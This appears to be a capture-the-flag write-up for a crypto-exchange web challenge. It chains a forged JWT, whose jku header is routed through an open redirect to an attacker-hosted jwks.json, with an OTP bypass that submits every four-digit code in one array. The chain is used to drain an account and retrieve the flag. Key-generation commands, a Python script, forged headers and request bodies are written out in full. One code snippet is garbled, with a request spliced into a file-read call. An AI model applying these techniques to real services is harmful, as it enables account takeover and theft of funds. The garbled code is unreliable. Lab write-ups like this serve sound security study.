Like the previous challenge, we also have the source code for this app.
Lets start by making an account and logging in:
After reading some of the code, we start to get an idea of how to solve the challenge:
Lets start by inspecting the cookie of our test account:
{
"alg": "RS256",
"typ": "JWT",
"kid": "251190dd-4fbd-4700-8baa-193cbf34b891",
"jku": "http://127.0.0.1:1337/.well-known/jwks.json"
}
So we have a jwt that uses a jku file hosted on the server. This looks vulnerable!
Lets try generating our own keys, creating our own jwks.json and hosting it on our server.
Generating the keys:
$ openssl genpkey -algorithm RSA -out private_key.pem -pkeyopt rsa_keygen_bits:2048
$ openssl rsa -in private_key.pem -pubout -out public_key.pem
And a python script to generate the jwks.json:
import json
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
import base64
with open('public_key.pem', 'rb') as f:
public_key = serialization.load_pem_public_key(
f.read(),
backend=default_backend()
)
with open('private_key.pem', 'rb') as f:
private_key = serialization.load_pem_private_key(
f.read(),
password=None,
backend=default_backend()
)
public_key = private_key.public_key()
public_numbers = public_key.public_numbers()
jwk = { "keys": [{
"kty": "RSA",
"e": base64.urlsafe_b64encode(public_numbers.e.to_bytes((public_numbers.e.bit_length() + 7) // 8, 'big')).rstrip(b'=').decode('utf-8'),
"n": base64.urlsafe_b64encode(public_numbers.n.to_bytes((public_numbers.n.bit_length() + 7) // 8, 'big')).rstrip(b'=').decode('utf-8'),
"kid": "05145d7e-d44c-437b-97f8-3bf055e79576",
"use": "sig",
"alg": "RS256"
}]
}
print(json.dumps(jwk))
We designed this script to give us a json file that ressembled the one hosted here http://127.0.0.1:1337/.well-known/jwks.json We also needed to add the kid value from our current session.
Before hosting our file, we need to bypass this check in the code:
// TODO: is this secure enough?
if (!jku.startsWith('http://127.0.0.1:1337/')) {
throw new Error('Invalid token: jku claim does not start with http://127.0.0.1:1337/');
}
The TODO is a recurring trend in this code base, as everytime it appears, vulnerable code follows.
The problem here is that our file must be stored on a url starting with http://127.0.0.1:1337/. Either we find a way to upload our file, or find a redirection on the site.
Thats where snyk code comes in handy, as it will help us find a redirection in our code:
✗ [Medium] Open Redirect
Path: challenge/server/routes/analytics.js, line 13
Info: Unsanitized input from an HTTP parameter flows into header, where it is used as input for request redirection. This may result in an Open Redirect vulnerability.
I realised after looking at this part of the code, that it was used to rick roll the user !
Nice, another TODO:
fastify.get('/redirect', async (req, reply) => {
const { url, ref } = req.query;
if (!url || !ref) {
return reply.status(400).send({ error: 'Missing URL or ref parameter' });
}
// TODO: Should we restrict the URLs we redirect users to?
try {
await trackClick(ref, decodeURIComponent(url));
reply.header('Location', decodeURIComponent(url)).status(302).send();
} catch (error) {
console.error('[Analytics] Error during redirect:', error.message);
reply.status(500).send({ error: 'Failed to track analytics data.' });
}
});
Now that we have a redirection, we can exploit that to point the cookie jwu to our self hosted file, like so:
http://127.0.0.1:1337/api/analytics/redirect?ref=cta-announcement&url=HOSTED-FILE
We used jwt_tool to modify the cookie values, however you can just as well use jwt.io .
Change the header to:
{
"alg": "RS256",
"typ": "JWT",
"kid": "05145d7e-d44c-437b-97f8-3bf055e79576",
"jku": "http://127.0.0.1:1337/api/analytics/redirect?ref=cta-announcement&url=http://ip:8000/jwks.json"
}
Replace the email in the payload:
{
"email": "[email protected]",
"iat": 1934108765
}
And finally, copy and paste the contents of our previously generated public and private key to verify the signature.
Et voila, we are now rich!
Now, to get the flag, we simply have to send all of our money to a friend to pass the empty balance check:
export const checkFinancialControllerDrained = async () => {
const balances = await getBalancesForUser(FINANCIAL_CONTROLLER_EMAIL);
const clcrBalance = balances.find((coin) => coin.symbol === 'CLCR');
if (!clcrBalance || clcrBalance.availableBalance <= 0) {
const flag = (await fs.POST /api/crypto/transaction
{"to":"[email protected]","coin":"CLCR","amount":0,"otp":["1"]}readFile('/flag.txt', 'utf-8')).trim();
return { drained: true, flag };
}
return { drained: false };
};
Easier said than done!
Lets add our test account as a friend, and try sending him all of our money:
Seems like we need a one time password:
Seen as we dont have access to the email address, we cant get an otp, so we need to bypass it. In comes the last TODO:
// TODO: Is this secure enough?
if (!otp.includes(validOtp)) {
reply.status(401).send({ error: 'Invalid OTP.' });
return;
}
A normal transaction request looks like this:
POST /api/crypto/transaction
{"to":"[email protected]","coin":"CLCR","amount":26437319954,"otp":["1"]}
And so to bypass the otp, its pretty simply. In javascript, includes will return true if an array contains the value it is looking for, and so we simply need to send the transaction, where the otp contains all values in array from 1000 to 9999:
["1000", "1001", ... until 9999]
Once the money has been sent, we request /dashboard, et voila:
{"message":"Welcome to the Dashboard!","flag":"HTB{rugg3d_pu11ed_c0nqu3r3d_d14m0nd_h4nd5_c4335166a0d7f1a435f74c34611a64d4}"}